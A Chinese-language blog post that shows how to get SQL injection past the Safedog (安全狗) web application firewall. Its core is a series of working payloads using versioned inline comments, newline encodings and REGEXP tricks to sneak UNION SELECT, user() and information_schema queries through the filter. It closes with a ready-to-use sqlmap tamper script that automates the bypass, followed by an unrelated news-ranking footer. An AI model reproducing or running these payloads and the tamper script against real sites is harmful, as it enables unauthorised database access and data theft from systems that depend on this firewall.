SQL注入bypass最新版安全狗
0x00:前言
安全狗又偷偷摸摸更新了
0x01:绕过
之前安全狗就像没开发完一样,简单内联就过去了,但是现在的安全狗摇身一变,变得稳重了起来。
就连报错界面都变成了大人的模样。
看这架势,不好过啊
首先 and 内敛注释依旧是可以过的,看来安全狗并没有太过关注and,可能是觉得后面的规则比较牛,知道有注入也没用?
然后是order by ,从这里开始,事情就变得微妙了起来
猜测规则是order by 组合强规则,意思就是order by中间无论加什么都过不去
随便试一试
果然,但是有没有发现,我fuzz的符号里没有加#号,因为加了就会这样
由于锚点这个特殊性,盲猜这是一个突破点
可能安全狗遇到注释也会直接截断掉后面的语句(类似某锁),那就好说了,构造个注释在语句前面即可
居然没过,小看你了安全狗,看来order by规则还没失效,那么 尝试隔断order by
中间加个%0a
轻轻松松
接下来是union select 组合
同理,也可以这样过
1' REGEXP "[…%0a%23]" /*!11444union %0a select*/ 1,2,3 --+
下一个是user()这类函数,这里也是个坑,发现直接括号会被拦
去一个右括号就没事了,这规则也是无语
既然如此,在括号里下文章即可
依然是换行加注释绕过
-1' REGEXP "[…%0a%23]" /*!11444union %0a select*/ 1,user(%0a /*!80000aaa*/),3 -- +
然后是INFORMATION_SCHEMA 这玩意,居然也被加到了规则里,
没关系,继续构造换行注释,
-1' REGEXP "[…%0a%23]" /*!11444union %0a select*/ 1,(select %0a group_concat(schema_name %0a /*80000aaa*/) %0a from %0a /*!11444 /*REGEXP "[…%0a%23]"*/ %0a information_schema.schemata*/),3-- +
0x02:tamper
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Copyright (c) 2006-2019 sqlmap developers (http:%23 %26%23 %26sqlmap.org%23 %26) See the file 'LICENSE' for copying permission Author:pureqh.top """ import re import os from lib.core.data import kb from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): payload=payload.replace(" "," ",1) payload=payload.replace("ORDER BY","REGEXP \"[...%25%23]\" /*!11444order %0a by*/") payload=payload.replace("union ALL SELECT","/*!11444union all%0a select*/") payload=payload.replace(" AND","/*!11444AND*/") payload=payload.replace("(SELECT (CASE","(/*!11444SELECT*/ %0a (CASE") payload=payload.replace("UNION SELECT","/*!11444union*/ /*REGEXP \"[...%25%23]\"*/ %0a select /*REGEXP \"[...%25%23]\"*/") payload=payload.replace("UNION ALL SELECT","REGEXP \"[...%0a%23]\" /*!11444union %0a select */ ") payload=payload.replace("()","(%0a /*!80000aaa*/)") payload=payload.replace(" AS","/*!11444AS*/") payload=payload.replace("FROM","/*!11444FROM*/") payload=payload.replace("INFORMATION_SCHEMA","/*like\"%0a%23\"*/ %0a INFORMATION_SCHEMA") payload=payload.replace("INFORMATION_SCHEMA.TABLES","%0a /*!11444INFORMATION_SCHEMA.TABLES*/") return payload
题外话 某锁也能这样过
代码已更新至github
https://github.com/pureqh/bypasswaf
[超站]友情链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
随时掌握互联网精彩
- 1 习近平将对欧洲三国进行国事访问 4933320
- 2 南京胖哥被初诊为PTSD 4917819
- 3 女子直播时被失散32年的父亲认出 4854277
- 4 假日经济持续升温 4734433
- 5 部分高校禁止学生五一集体出游 4631953
- 6 千万粉丝网红夫妻结束12年婚姻 4542964
- 7 病毒学家张永振和其学生仍围坐门口 4466752
- 8 为什么说“龙系长相”是天生演员 4363551
- 9 常州机场售卖无主行李箱?假的 4279623
- 10 因高颜值出圈华为HR自曝已离职 4166648